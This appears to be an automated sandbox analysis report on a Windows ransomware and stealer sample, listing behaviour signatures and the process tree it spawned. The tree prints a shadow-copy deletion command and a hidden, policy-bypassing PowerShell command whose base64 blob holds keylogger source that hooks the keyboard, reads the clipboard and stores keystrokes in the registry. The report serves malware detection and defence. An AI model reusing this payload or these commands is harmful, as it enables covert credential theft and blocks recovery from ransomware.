Overview

overview

10

Static

static

a79adc37a7...cc.exe

windows7_x64

10

a79adc37a7...cc.exe

windows10_x64

10

Resubmissions

11/08/2026, 22:21

260811-19pr5ashqe10

31/01/2022, 04:13

220131-es4dasfdh310

Analysis

  • max time kernel
    153s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31/01/2022, 04:13

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    a79adc37a723dd89014f01158a19cecc.exe
  • Size 292KB
  • Sample220131-es4dasfdh3
  • SHA256 1bba4e037532af6aa204171b9022d6d5de22aaa248f3199a9c15802fced787f2
  • MD5 SHA1 SHA512
Score
10/10
ransomwarespywarestealer

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 2 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a79adc37a723dd89014f01158a19cecc.exe
    "C:\Users\Admin\AppData\Local\Temp\a79adc37a723dd89014f01158a19cecc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1013031715.js" "C:\Users\Admin\AppData\Local\Temp\a79adc37a723dd89014f01158a19cecc.exe"
      2⤵
      • Deletes itself
      • Modifies registry class
      • Suspicious behavior: RenamesItself
      • Suspicious use of WriteProcessMemory
      PID:584
      • C:\Windows\SysWOW64\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:364
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {21BD09F6-57F8-434E-9FDC-D9F165BA86D3} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:540
    • C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\1e0792b40.js"
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      PID:1424
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1968
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc QQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsAdQBzAGkAbgBnACAATQBpAGMAcgBvAHMAbwBmAHQALgBXAGkAbgAzADIAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEkATwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzADsAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwBuAGEAbQBlAHMAcABhAGMAZQAgAGYAOQBjADAAZgAwADIAOQA2AHsAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAG4ANQBmADgAZAA0ADIAZAAyAHsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcABmADIAZgA0ADcAMQAwADIAIABmAGEAOAA4ADQAMQA3ADgAYQAgAD0AIABtAGUAMAA2ADYAOAAxAGMAYgA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAGQAMAA0AGQAMgA3ADMAZAAzACAAYwBhADkAMwBlAGYAMQBkADcAIAA9ACAAcABhAGIAYQA2ADMAMQAxAGUAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABJAG4AdABQAHQAcgAgAGQAZQBkADMAYQBlADkAZgBjACAAPQAgAEkAbgB0AFAAdAByAC4AWgBlAHIAbwA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGUANwAzAGIAZABjADgAZAAgAGoAZgA3ADIANQA2AGEANAA1ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGUAZgA5ADIAZABkADYAZQAzADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGoAMgA1AGMAZAAzAGYANwBkADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdQBpAG4AdAAgAGsANQBmADcAMQAzAGQANgAzADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGoAYwAyADAAMwAwADcAYwBiADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAG4AMwA3ADMAZAAwADgAOQAwADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAG8AOAAyADIAYgAyADQAMABlADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABrAGEANAA0AGYAMgA1ADkAMgA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAHMAdAByAGkAbgBnACAAZgAwAGQANABiAGYAYQA1ADYAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAGUANQA0ADEANQA5ADMAMgA0ADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABhADQAZQBmADYANwA0ADgAZAA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAHMAdAByAGkAbgBnACAAZQBlADkAOAA3AGQAMQBlADMAOwBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAG0AMQBlAGUANQA0ADQAOQBjADsAcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABmADQANABhADgANQA5ADYAZQA7AHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIAB2AG8AaQBkACAAUgB1AG4AKABjAGUANwAzAGIAZABjADgAZAAgAGMANgAyAGYAMwBlADkAYgAyACkAewBqAGYANwAyADUANgBhADQANQAgAD0AIABjADYAMgBmADMAZQA5AGIAMgA7AG8AOAAyADIAYgAyADQAMABlACAAPQAgAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAoACkAOwBmADAAZAA0AGIAZgBhADUANgAgAD0AIAAiAFMAbwBmAHQAdwBhAHIAZQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAFcAaQBuAGQAbwB3AHMAXABcAEQAVwBNACIAOwBlADUANAAxADUAOQAzADIANAAgAD0AIAAiAEgASwBFAFkAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgBcAFwAIgAgACsAIABmADAAZAA0AGIAZgBhADUANgA7AHMAdAByAGkAbgBnACAAYwA0AGYAYQAyADQAMgAyADAAIAA9ACAAaQA0AGYAOAA5ADgAYwAyADMAKAApADsAaQBmACAAKABjADQAZgBhADIANAAyADIAMAAgAD0APQAgACIAIgApACAAcgBlAHQAdQByAG4AOwBhADQAZQBmADYANwA0ADgAZAAgAD0AIABjADQAZgBhADIANAAyADIAMAAgACsAIAAiAGEAIgA7AGUAZQA5ADgANwBkADEAZQAzACAAPQAgAGMANABmAGEAMgA0ADIAMgAwACAAKwAgACIAcwAiADsAbQAxAGUAZQA1ADQANAA5AGMAIAA9ACAAYwA0AGYAYQAyADQAMgAyADAAIAArACAAIgBtACIAOwB1AGkAbgB0ACAAZwA5ADUAMgAyADQAZgAwADQAIAA9ACAATwBwAGUAbgBNAHUAdABlAHgAKAAwAHgAMAAwADEAMAAwADAAMAAwACwAIABmAGEAbABzAGUALAAgAG0AMQBlAGUANQA0ADQAOQBjACkAOwBpAGYAIAAoAGcAOQA1ADIAMgA0AGYAMAA0ACAAIQA9ACAAMAApACAARQB4AGkAdABQAHIAbwBjAGUAcwBzACgAMAApADsAQwByAGUAYQB0AGUATQB1AHQAZQB4ACgASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAIAB0AHIAdQBlACwAIABtADEAZQBlADUANAA0ADkAYwApADsAawBhADQANABmADIANQA5ADIAIAA9ACAAIgAiADsAagAyADUAYwBkADMAZgA3AGQAIAA9ACAARwBlAHQARgBvAHIAZQBnAHIAbwB1AG4AZABXAGkAbgBkAG8AdwAoACkAOwBpAG4AdAAgAGIAMgBmAGMAYwA0ADIAMgA5ACAAPQAgAEcAZQB0AFcAaQBuAGQAbwB3AFQAZQB4AHQATABlAG4AZwB0AGgAKABqADIANQBjAGQAMwBmADcAZAApADsAbgAzADcAMwBkADAAOAA5ADAAIAA9ACAAbgBlAHcAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACgAYgAyAGYAYwBjADQAMgAyADkAIAArACAAMQApADsARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdAAoAGoAMgA1AGMAZAAzAGYANwBkACwAIABuADMANwAzAGQAMAA4ADkAMAAsACAAYgAyAGYAYwBjADQAMgAyADkAIAArACAAMQApADsAdQBpAG4AdAAgAGsANQBmADcAMQAzAGQANgAzACAAPQAgADAAOwBHAGUAdABXAGkAbgBkAG8AdwBUAGgAcgBlAGEAZABQAHIAbwBjAGUAcwBzAEkAZAAoAGoAMgA1AGMAZAAzAGYANwBkACwAIAByAGUAZgAgAGsANQBmADcAMQAzAGQANgAzACkAOwBQAHIAbwBjAGUAcwBzACAAYwA5ADcAYgAzAGQANQBjADUAIAA9ACAAUAByAG8AYwBlAHMAcwAuAEcAZQB0AFAAcgBvAGMAZQBzAHMAQgB5AEkAZAAoACgAaQBuAHQAKQBrADUAZgA3ADEAMwBkADYAMwApADsAaQBmACAAKABjADkANwBiADMAZAA1AGMANQAgACEAPQAgAG4AdQBsAGwAKQAgAGYANAA0AGEAOAA1ADkANgBlACAAPQAgAGMAOQA3AGIAMwBkADUAYwA1AC4AUAByAG8AYwBlAHMAcwBOAGEAbQBlADsAIABlAGwAcwBlACAAZgA0ADQAYQA4ADUAOQA2AGUAIAA9ACAAIgAiADsAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAgADAALAAgAGMAYQA5ADMAZQBmADEAZAA3ACwAIABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAgADAALAAgAEkAbgB0AFAAdAByAC4AWgBlAHIAbwApADsAZABlAGQAMwBhAGUAOQBmAGMAIAA9ACAAbwAxAGQAZAAyAGMAZgBjADkAKABmAGEAOAA4ADQAMQA3ADgAYQApADsAQQBwAHAAbABpAGMAYQB0AGkAbwBuAC4AUgB1AG4AKAApADsAVQBuAGgAbwBvAGsAVwBpAG4AZABvAHcAcwBIAG8AbwBrAEUAeAAoAGQAZQBkADMAYQBlADkAZgBjACkAOwB9AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAEkAbgB0AFAAdAByACAAbwAxAGQAZAAyAGMAZgBjADkAKABwAGYAMgBmADQANwAxADAAMgAgAGYAYQA4ADgANAAxADcAOABhACkAewBJAG4AdABQAHQAcgAgAGMAOQA3ADQANwA2ADIAZgBhACAAPQAgAEcAZQB0AE0AbwBkAHUAbABlAEgAYQBuAGQAbABlACgAUAByAG8AYwBlAHMAcwAuAEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ATQBvAGQAdQBsAGUATgBhAG0AZQApADsAcgBlAHQAdQByAG4AIABTAGUAdABXAGkAbgBkAG8AdwBzAEgAbwBvAGsARQB4ACgAMQAzACwAIABmAGEAOAA4ADQAMQA3ADgAYQAsACAAYwA5ADcANAA3ADYAMgBmAGEALAAgADAAKQA7AH0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAdgBvAGkAZAAgAGIAOQAwADUAMQBkAGUAYQA5ACgAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAHAAZgBkAGEAMAAyADYAYgA4ACwAIABzAHQAcgBpAG4AZwAgAHAAMQBiADYANQBmAGIANABhACwAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACAAZwA4ADUAZAA3ADgAMAA5AGEAKQB7AHQAcgB5AHsAcwB0AHIAaQBuAGcAIABlADUAYQBjADIAMwAzAGMANQBkAGEAdABhAF8AIAA9ACAAUgBlAGcAaQBzAHQAcgB5AC4ARwBlAHQAVgBhAGwAdQBlACgAZQA1ADQAMQA1ADkAMwAyADQALAAgAGEANABlAGYANgA3ADQAOABkACwAIAAiACIAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAOwBlADUAYQBjADIAMwAzAGMANQBkAGEAdABhAF8AIAA9ACAAZQA1AGEAYwAyADMAMwBjADUAZABhAHQAYQBfACAAKwAgAEQAYQB0AGUAVABpAG0AZQAuAE4AbwB3ACAAKwAgACIAIABbACIAIAArACAAcABmAGQAYQAwADIANgBiADgALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIAXQAgAC0AIAAiACAAKwAgAHAAMQBiADYANQBmAGIANABhACAAKwAgACIAXAByAFwAbgAiACAAKwAgAGcAOAA1AGQANwA4ADAAOQBhAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAiAFwAcgBcAG4AXAByAFwAbgAiADsAUgBlAGcAaQBzAHQAcgB5AC4AUwBlAHQAVgBhAGwAdQBlACgAZQA1ADQAMQA1ADkAMwAyADQALAAgAGEANABlAGYANgA3ADQAOABkACwAIABlADUAYQBjADIAMwAzAGMANQBkAGEAdABhAF8AKQA7AH0AYwBhAHQAYwBoACAAewAgAH0AfQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIABzAHQAcgBpAG4AZwAgAGkANABmADgAOQA4AGMAMgAzACgAKQB7AGkAbgB0ACAAYwA0AGYAYQAyADQAMgAyADAAIAA9ACAAMAA7AHUAaQBuAHQAIABkADYANwA3ADEAYwAyADgAZgAgAD0AIAAwADsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAHAANAA5AGIAMwA4ADQAYgBlACAAPQAgAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAoADIANQA2ACkAOwBVAEkAbgB0ADMAMgAgAG4AMQBhADIAMgBjADkAYgA4ACAAPQAgAG4AZQB3ACAAVQBJAG4AdAAzADIAKAApADsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAHAAYQBkADQANwBlADUAYQBkACAAPQAgAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAoADIANQA2ACkAOwBpAGYAIAAoAEcAZQB0AFYAbwBsAHUAbQBlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAoACIAQwA6AFwAXAAiACwAIABwADQAOQBiADMAOAA0AGIAZQAsACAAKABVAEkAbgB0ADMAMgApAHAANAA5AGIAMwA4ADQAYgBlAC4AQwBhAHAAYQBjAGkAdAB5ACwAIAByAGUAZgAgAGMANABmAGEAMgA0ADIAMgAwACwAcgBlAGYAIABkADYANwA3ADEAYwAyADgAZgAsACAAcgBlAGYAIABuADEAYQAyADIAYwA5AGIAOAAsACAAcABhAGQANAA3AGUANQBhAGQALAAgACgAVQBJAG4AdAAzADIAKQBwAGEAZAA0ADcAZQA1AGEAZAAuAEMAYQBwAGEAYwBpAHQAeQApACAAIQA9ACAAMAApAHsAaQBmACAAKABjADQAZgBhADIANAAyADIAMAAgADwAIAAwACkAIABjADQAZgBhADIANAAyADIAMAAgAD0AIAAoADAAIAAtACAAYwA0AGYAYQAyADQAMgAyADAAKQA7AHIAZQB0AHUAcgBuACAAYwA0AGYAYQAyADQAMgAyADAALgBUAG8AUwB0AHIAaQBuAGcAKAAiAHgAOAAiACkAOwB9AGUAbABzAGUAIAByAGUAdAB1AHIAbgAgACIAIgA7AH0AcAByAGkAdgBhAHQAZQAgAHMAdABhAHQAaQBjACAAaQBuAHQAIABtADEAYwAxADcAYQA0ADcAZAAoAEkAbgB0AFAAdAByACAAagA4ADYAYgA2ADYAMwAyADQAKQB7AHIAZQB0AHUAcgBuACAATQBhAHIAcwBoAGEAbAAuAFIAZQBhAGQASQBuAHQAMwAyACgAagA4ADYAYgA2ADYAMwAyADQAKQA7AH0AcAByAGkAdgBhAHQAZQAgAGQAZQBsAGUAZwBhAHQAZQAgAEkAbgB0AFAAdAByACAAcABmADIAZgA0ADcAMQAwADIAKABpAG4AdAAgAGEAOAAxADAAYwBhAGQAZQA1ACwAIABJAG4AdABQAHQAcgAgAGoANgA3ADYAYQAwAGIAZgBiACwAIABJAG4AdABQAHQAcgAgAGsANwA5ADkANQBmAGYANgA3ACkAOwBwAHUAYgBsAGkAYwAgAGQAZQBsAGUAZwBhAHQAZQAgAHUAaQBuAHQAIABkADAANABkADIANwAzAGQAMwAoAEkAbgB0AFAAdAByACAAcABQAGEAcgBhAG0AKQA7AHAAdQBiAGwAaQBjACAAZABlAGwAZQBnAGEAdABlACAAdgBvAGkAZAAgAGMAZQA3ADMAYgBkAGMAOABkACgAKQA7AHAAcgBpAHYAYQB0AGUAIABzAHQAYQB0AGkAYwAgAEkAbgB0AFAAdAByACAAbQBlADAANgA2ADgAMQBjAGIAKABpAG4AdAAgAGEAOAAxADAAYwBhAGQAZQA1ACwAIABJAG4AdABQAHQAcgAgAGoANgA3ADYAYQAwAGIAZgBiACwAIABJAG4AdABQAHQAcgAgAGsANwA5ADkANQBmAGYANgA3ACkAewBpAGYAIAAoAGEAOAAxADAAYwBhAGQAZQA1ACAAPgA9ACAAMAAgACYAJgAgAGoANgA3ADYAYQAwAGIAZgBiACAAPQA9ACAAKABJAG4AdABQAHQAcgApADAAeAAwADEAMAAwACkAewBpAG4AdAAgAGoAMAA1AGUAMgAyADgAZAAzACAAPQAgAG0AMQBjADEANwBhADQANwBkACgAawA3ADkAOQA1AGYAZgA2ADcAKQA7AGkAZgAgACgAagAwADUAZQAyADIAOABkADMAIAA8ACAAOAApACAAcgBlAHQAdQByAG4AIABDAGEAbABsAE4AZQB4AHQASABvAG8AawBFAHgAKABkAGUAZAAzAGEAZQA5AGYAYwAsACAAYQA4ADEAMABjAGEAZABlADUALAAgAGoANgA3ADYAYQAwAGIAZgBiACwAIABrADcAOQA5ADUAZgBmADYANwApADsAagBmADcAMgA1ADYAYQA0ADUAKAApADsAYgBvAG8AbAAgAGIAYwAyADIAMAA4AGEAMABhACAAPQAgACgAagAwADUAZQAyADIAOABkADMAIAA9AD0AIAA4ACkAOwBiAG8AbwBsACAAYQBiAGUAMwAzADUAYgBiADAAIAA9ACAAKABqADAANQBlADIAMgA4AGQAMwAgAD0APQAgADQANgApADsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAgAGgAYQAwADgANgA0AGYANwAwACAAPQAgAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AUwB0AHIAaQBuAGcAQgB1AGkAbABkAGUAcgAoACkAOwBiAHkAdABlAFsAXQAgAGoAMQAzAGEAMgA2ADAAZQA5ACAAIAA9ACAAbgBlAHcAIABiAHkAdABlAFsAMgA1ADUAXQA7AGkAZgAgACgARwBlAHQASwBlAHkAYgBvAGEAcgBkAFMAdABhAHQAZQAoAGoAMQAzAGEAMgA2ADAAZQA5ACkAKQB7AHUAaQBuAHQAIABvADQAZAA4AGQAYQBjAGUAMAAgAD0AIABNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACgAagAwADUAZQAyADIAOABkADMALAAgADMAKQA7AGUAZgA5ADIAZABkADYAZQAzACAAPQAgAEcAZQB0AEYAbwByAGUAZwByAG8AdQBuAGQAVwBpAG4AZABvAHcAKAApADsAdQBpAG4AdAAgAHAAMgAxAGIAOABiADEANwA1ACAAPQAgADAAOwB1AGkAbgB0ACAAYwA2AGQAYwBmADEAMAAwADEAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABoAHIAZQBhAGQAUAByAG8AYwBlAHMAcwBJAGQAKABlAGYAOQAyAGQAZAA2AGUAMwAsACAAcgBlAGYAIABwADIAMQBiADgAYgAxADcANQApADsAdQBpAG4AdAAgAGcAOAA2ADQANgAxAGUANAA2ACAAPQAgAEcAZQB0AEsAZQB5AGIAbwBhAHIAZABMAGEAeQBvAHUAdAAoAGMANgBkAGMAZgAxADAAMAAxACkAOwBpAGYAIAAoAGIAYwAyADIAMAA4AGEAMABhACAAfAB8ACAAYQBiAGUAMwAzADUAYgBiADAAIAB8AHwAIAAoAFQAbwBVAG4AaQBjAG8AZABlAEUAeAAoAGoAMAA1AGUAMgAyADgAZAAzACwAIABvADQAZAA4AGQAYQBjAGUAMAAsACAAagAxADMAYQAyADYAMABlADkALAAgAGgAYQAwADgANgA0AGYANwAwACwAIABoAGEAMAA4ADYANABmADcAMAAuAEMAYQBwAGEAYwBpAHQAeQAsACAAKAB1AGkAbgB0ACkAMAAsACAAZwA4ADYANAA2ADEAZQA0ADYAKQAgAD4AIAAwACkAKQB7AGkAbgB0ACAAYgAyAGYAYwBjADQAMgAyADkAIAA9ACAARwBlAHQAVwBpAG4AZABvAHcAVABlAHgAdABMAGUAbgBnAHQAaAAoAGUAZgA5ADIAZABkADYAZQAzACkAOwBqAGMAMgAwADMAMAA3AGMAYgAgAD0AIABuAGUAdwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAKABiADIAZgBjAGMANAAyADIAOQAgACsAIAAxACkAOwBHAGUAdABXAGkAbgBkAG8AdwBUAGUAeAB0ACgAZQBmADkAMgBkAGQANgBlADMALAAgAGoAYwAyADAAMwAwADcAYwBiACwAIABiADIAZgBjAGMANAAyADIAOQAgACsAIAAxACkAOwBpAGYAIAAoACgAcAAyADEAYgA4AGIAMQA3ADUAIAAhAD0AIABrADUAZgA3ADEAMwBkADYAMwApACAAfAB8ACAAKABlAGYAOQAyAGQAZAA2AGUAMwAgACEAPQAgAGoAMgA1AGMAZAAzAGYANwBkACkAIAB8AHwAIAAoAG4AMwA3ADMAZAAwADgAOQAwAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACEAPQAgAGoAYwAyADAAMwAwADcAYwBiAC4AVABvAFMAdAByAGkAbgBnACgAKQApACkAewBiADkAMAA1ADEAZABlAGEAOQAoAG4AMwA3ADMAZAAwADgAOQAwACwAIABmADQANABhADgANQA5ADYAZQAsACAAbwA4ADIAMgBiADIANAAwAGUAKQA7AG4AMwA3ADMAZAAwADgAOQAwAC4AUgBlAG0AbwB2AGUAKAAwACwAIABuADMANwAzAGQAMAA4ADkAMAAuAEwAZQBuAGcAdABoACkAOwBuADMANwAzAGQAMAA4ADkAMAAuAEEAcABwAGUAbgBkACgAagBjADIAMAAzADAANwBjAGIAKQA7AG8AOAAyADIAYgAyADQAMABlAC4AUgBlAG0AbwB2AGUAKAAwACwAIABvADgAMgAyAGIAMgA0ADAAZQAuAEwAZQBuAGcAdABoACkAOwBqADIANQBjAGQAMwBmADcAZAAgAD0AIABlAGYAOQAyAGQAZAA2AGUAMwA7AFAAcgBvAGMAZQBzAHMAIABjADkANwBiADMAZAA1AGMANQAgAD0AIABQAHIAbwBjAGUAcwBzAC4ARwBlAHQAUAByAG8AYwBlAHMAcwBCAHkASQBkACgAKABpAG4AdAApAHAAMgAxAGIAOABiADEANwA1ACkAOwBpAGYAIAAoAGMAOQA3AGIAMwBkADUAYwA1ACAAIQA9ACAAbgB1AGwAbAApACAAZgA0ADQAYQA4ADUAOQA2AGUAIAA9ACAAYwA5ADcAYgAzAGQANQBjADUALgBQAHIAbwBjAGUAcwBzAE4AYQBtAGUAOwAgAGUAbABzAGUAIABmADQANABhADgANQA5ADYAZQAgAD0AIAAiACIAOwBrADUAZgA3ADEAMwBkADYAMwAgAD0AIABwADIAMQBiADgAYgAxADcANQA7AH0AaQBmACAAKABqADAANQBlADIAMgA4AGQAMwAgAD4AIAA3ACkAewBpAGYAIAAoAGIAYwAyADIAMAA4AGEAMABhACkAIABvADgAMgAyAGIAMgA0ADAAZQAuAEEAcABwAGUAbgBkACgAIgBbAKsAXQAiACkAOwBlAGwAcwBlACAAaQBmACAAKABhAGIAZQAzADMANQBiAGIAMAApACAAbwA4ADIAMgBiADIANAAwAGUALgBBAHAAcABlAG4AZAAoACIAWwBkAGUAbABdACIAKQA7AGUAbABzAGUAIABvADgAMgAyAGIAMgA0ADAAZQAuAEEAcABwAGUAbgBkACgAaABhADAAOAA2ADQAZgA3ADAAKQA7AH0AfQB9AH0AcgBlAHQAdQByAG4AIABDAGEAbABsAE4AZQB4AHQASABvAG8AawBFAHgAKABkAGUAZAAzAGEAZQA5AGYAYwAsACAAYQA4ADEAMABjAGEAZABlADUALAAgAGoANgA3ADYAYQAwAGIAZgBiACwAIABrADcAOQA5ADUAZgBmADYANwApADsAfQBwAHIAaQB2AGEAdABlACAAcwB0AGEAdABpAGMAIAB1AGkAbgB0ACAAcABhAGIAYQA2ADMAMQAxAGUAKABJAG4AdABQAHQAcgAgAGoAMwA0AGMAOQA2ADUAMwBkACkAewBiAG8AbwBsACAAYwAxADEAZABlADcANwA0ADAAIAA9ACAAdAByAHUAZQA7AHMAdAByAGkAbgBnACAAZwBiADgANQBlADgAMQA2ADMAOwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACAAaQA2ADgAMwBkAGEAMgBmADMAIAA9ACAAbgBlAHcAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByACgAKQA7AHcAaABpAGwAZQAgACgAYwAxADEAZABlADcANwA0ADAAKQB7AHMAdAByAGkAbgBnACAAagA2ADgAYQA0ADUAYwBkAGYAIAA9ACAAUgBlAGcAaQBzAHQAcgB5AC4ARwBlAHQAVgBhAGwAdQBlACgAZQA1ADQAMQA1ADkAMwAyADQALAAgAGUAZQA5ADgANwBkADEAZQAzACwAIAAiACIAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAOwBpAGYAIAAoAGoANgA4AGEANAA1AGMAZABmACAAIQA9ACAAIgAiACkAewBSAGUAZwBpAHMAdAByAHkASwBlAHkAIABqADIAYwBjADQANAA5AGYAMgAgAD0AIABSAGUAZwBpAHMAdAByAHkALgBDAHUAcgByAGUAbgB0AFUAcwBlAHIALgBPAHAAZQBuAFMAdQBiAEsAZQB5ACgAZgAwAGQANABiAGYAYQA1ADYALAAgAHQAcgB1AGUAKQA7AGkAZgAgACgAagAyAGMAYwA0ADQAOQBmADIAIAAhAD0AIABuAHUAbABsACkAewBqADIAYwBjADQANAA5AGYAMgAuAEQAZQBsAGUAdABlAFYAYQBsAHUAZQAoAGUAZQA5ADgANwBkADEAZQAzACkAOwBqADIAYwBjADQANAA5AGYAMgAuAEMAbABvAHMAZQAoACkAOwB9AEUAeABpAHQAUAByAG8AYwBlAHMAcwAoADAAKQA7AH0AaQBmACAAKABDAGwAaQBwAGIAbwBhAHIAZAAuAEMAbwBuAHQAYQBpAG4AcwBUAGUAeAB0ACgAKQAgAD0APQAgAHQAcgB1AGUAKQB7AGcAYgA4ADUAZQA4ADEANgAzACAAPQAgAEMAbABpAHAAYgBvAGEAcgBkAC4ARwBlAHQAVABlAHgAdAAoACkAOwBpAGYAIAAoAGcAYgA4ADUAZQA4ADEANgAzACAAIQA9ACAAawBhADQANABmADIANQA5ADIAKQB7AHMAdAByAGkAbgBnACAAcABiADQAOQA4AGIAZQBmADgAIAA9ACAAIgAiADsA